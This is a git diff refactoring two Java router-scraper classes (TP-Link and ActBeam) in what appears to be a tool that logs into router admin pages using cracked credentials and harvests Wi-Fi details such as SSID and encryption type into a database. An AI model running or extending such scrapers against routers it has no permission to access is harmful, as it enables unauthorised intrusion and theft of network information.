a/src/main/java/org/koreops/tauro/cli/scraper/basicauth/TpLinkScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/basicauth/TpLinkScraper.java @@ -18,15 +18,13 @@ import com.gargoylesoftware.htmlunit.ElementNotFoundException; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import com.gargoylesoftware.htmlunit.html.HtmlPage; - import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.select.Elements; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -42,18 +40,18 @@ * * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). */ -public class TpLinkScraper extends AbstractScraper { +public class TpLinkScraper extends AbstractScraperAndSaver { - public TpLinkScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + public TpLinkScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return this.logNewTpLinkStation(); } - private boolean logNewTpLinkStation() throws DbDriverException { + private boolean logNewTpLinkStation() { try { Document doc = Jsoup.connect(hostUrl).userAgent(USER_AGENT).header("Authorization", "Basic " + base64Login).timeout(60000).get(); @@ -201,7 +199,7 @@ private boolean logNewTpLinkStation() throws DbDriverException { Logger.info(host + ": Found AuthType: " + wifiData.get("AuthType")); Logger.info(host + ": Found Encryption: " + wifiData.get("Encryption")); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); return true; } catch (IOException ex) { @@ -211,8 +209,6 @@ private boolean logNewTpLinkStation() throws DbDriverException { } catch (ElementNotFoundException ex) { Logger.error(host + ": ElementNotFoundException during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); java.util.logging.Logger.getLogger(NewTpLinkScraper.class.getName()).log(Level.SEVERE, null, ex); - } catch (DbDriverException ex) { - throw ex; } catch (Exception ex) { Logger.error(host + ": Exception during getWirelessData(): " + ex.getMessage() + " ::::::: " + ex.toString()); java.util.logging.Logger.getLogger(NewTpLinkScraper.class.getName()).log(Level.SEVERE, null, ex); diff --git a/src/main/java/org/koreops/tauro/cli/scraper/formauth/ActBeamScraper.java b/src/main/java/org/koreops/tauro/cli/scraper/formauth/ActBeamScraper.java index 996e28e..12be943 100755 --- a/src/main/java/org/koreops/tauro/cli/scraper/formauth/ActBeamScraper.java +++ b/src/main/java/org/koreops/tauro/cli/scraper/formauth/ActBeamScraper.java @@ -22,8 +22,7 @@ import org.jsoup.select.Elements; import org.koreops.net.def.beans.AuthCrackParams; import org.koreops.tauro.cli.dao.UpdaterDao; -import org.koreops.tauro.cli.scraper.AbstractScraper; -import org.koreops.tauro.core.exceptions.DbDriverException; +import org.koreops.tauro.cli.scraper.AbstractScraperAndSaver; import org.koreops.tauro.core.loggers.Logger; import java.io.IOException; @@ -38,18 +37,19 @@ * @author Sudipto Sarkar (k0r0pt) (sudiptosarkar@visioplanet.org). * @since 26 Sep, 2017 8:24 PM */ -public class ActBeamScraper extends AbstractScraper { +public class ActBeamScraper extends AbstractScraperAndSaver { - public ActBeamScraper(String host, String hostUrl, AuthCrackParams params) { - super(host, hostUrl, params); + + public ActBeamScraper(String host, String hostUrl, AuthCrackParams params, UpdaterDao updaterDao) { + super(host, hostUrl, params, updaterDao); } @Override - public boolean scrapeAndLog() throws DbDriverException { + public boolean scrapeAndLog() { return logActBeamWifi(); } - private boolean logActBeamWifi() throws DbDriverException { + private boolean logActBeamWifi() { String url = hostUrl + "cgi-bin/webproc"; try { Connection.Response response = Jsoup.connect(url) @@ -194,7 +194,7 @@ private boolean logActBeamWifi() throws DbDriverException { Logger.info(host + ": Found SSID: " + wifiData.get("SSID")); Logger.info(host + ": Found AuthType: " + wifiData.get("AuthType")); Logger.info(host + ": Found Encryption: " + wifiData.get("Encryption")); - UpdaterDao.saveStation(wifiData, host); + updaterDao.saveStation(wifiData, host); } return true;